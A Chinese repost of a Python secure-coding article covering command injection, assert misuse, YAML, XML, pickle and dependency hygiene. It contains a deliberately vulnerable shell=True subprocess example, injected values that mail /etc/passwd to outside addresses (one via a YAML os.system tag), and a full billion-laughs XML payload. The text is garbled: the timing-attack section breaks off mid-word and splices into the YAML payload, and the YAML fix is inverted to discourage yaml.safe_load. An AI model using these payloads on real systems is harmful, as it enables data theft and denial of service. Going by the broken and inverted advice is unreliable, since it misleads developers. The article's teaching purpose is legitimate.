Python 常见安全问题

输入注入

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串字面量与变量混合。可以通过https://blog.csdn.net/weixin_43047908/article/details/115556798
这个链接查看 SQL 注入所有可能发生的复杂方式。

命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

import subprocess  def transcode_file(request, filename):     command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)     subprocess.call(command, shell=True)  # a bad idea! 

攻击者会将 filename 的值设置为“; cat / etc / passwd | mail them@domain.com 或者其他同样危险的东西。

修复:

如果你使用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。

对于 shell,可以使用 shlex 模块正确地转义输入。

assert 语句(Assert statements)

不要使用 assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):    assert user.is_admin, “user does not have access”    # secure code... 

现在,默认情况下,Python 以 __debug__ 为 true 来执行脚本,但在生产环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin

修复:

仅在与其他开发人员进行通信时使用 assert 语句,例如在单元测试中或为了防止不正确的 API 使用。

计时攻击(Timing att/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,从用户提供的值中有效地加载 YAML 文件会让应用对攻击打开大门。

修复:

总是不优先使用 yaml.safe_load,除非你有一个非常好的理由。

解析 XML(Parsing XML)

如果你的应用程序要加载、解析 XML 文件,则你可能正在使用 XML 标准库模块。通过 XML 的攻击大多是 DoS 风格(旨在使系统崩溃而不是泄露数据),这些攻击十分常见,特别是在解析外部(即不可信任的)XML 文件时。

其中有个「billion laughs」,因为他的 payload 通常包含很多(十亿)「lols」。基本上,这个原理是可以在 XML 中使用参照实体,所以当解析器将这个 XML 文件加载到内存中时,它会消耗数 G 大小的内存(RAM)。

<?xml version="1.0"?> <!DOCTYPE lolz [   <!ENTITY lol "lol">   <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

另一些攻击使用外部实体扩展。XML 支持从外部 URL 引用实体,XML解析器通常会毫无疑问地获取并加载该资源。攻击者可以规避防火墙并访问受限制的资源,因为所有请求都是由内部可信的 IP 地址创建的,而不是来自外部。

需要考虑的另一种情况是依赖的第三方软件包需要解码 XML ,例如配置文件、远程 API。你甚至可能不知道某个依赖关系会将这些类型的攻击置之不理。

修复:

使用 defusedxml 替换标准库模块,它增加了针对这些类型攻击的安全防护。

受污染的 site-packages 或 import 路径

Python 的 import 系统非常灵活,当你想要为测试写补丁或重载核心功能时,这是非常棒的。

但这却是 Python 中最大的漏洞,他们也可以通过导入系统覆盖Python 中的默认行为。

修复

看看 http://PyUp.io 及其安全服务,为所有应用程序使用虚拟环境,并确保全局的 site-packages 尽可能干净,检查包签名。

序列化 Pickles

反序列化 pickle 数据和 YAML 一样糟糕。Python 类可以声明一个 __reduce__ 方法,该方法返回一个字符串,或一个可调用的元组以及使用 pickle 序列化时调用的参数。攻击者可以使用它来包含对其中一个子进程模块的引用,以在主机上运行任意命令。

修复

切勿使用 pickle 反序列化不受信任或未经身份验证来源的数据。改用另一种序列化模式(如JSON)。

使用系统 Python 运行时并且不修复它

大多数 POSIX 系统都自带有一个 Python 2 版本(通常是旧版本)。

有时候 Python(即 CPython 是用 C 语言编写的) 解释器本身存在漏洞, C 中的常见安全问题与内存分配有关,所以大多是缓冲区溢出错误,CPython 多年来一直存在一些溢出漏洞,每个漏洞都在后续版本中进行了修复。也就是说,如果及时升级 python 运行时,就很安全。

修复:

为生产应用程序安装最新版本的 Python,并及时安装修复更新!

不修复依赖关系

类似于不修补 python 运行时,还需要定期修补依赖关系。

修复

使用像 PyUp.io 这样的服务来检查更新,向应用程序提出 pr,并运行测试以保持软件包是最新的。

原文:10 common security gotchas in Python and how to avoid them

版权声明:玥玥 发表于 2021-05-20 10:18:41。
转载请注明:Python 常见安全问题 | 女黑客导航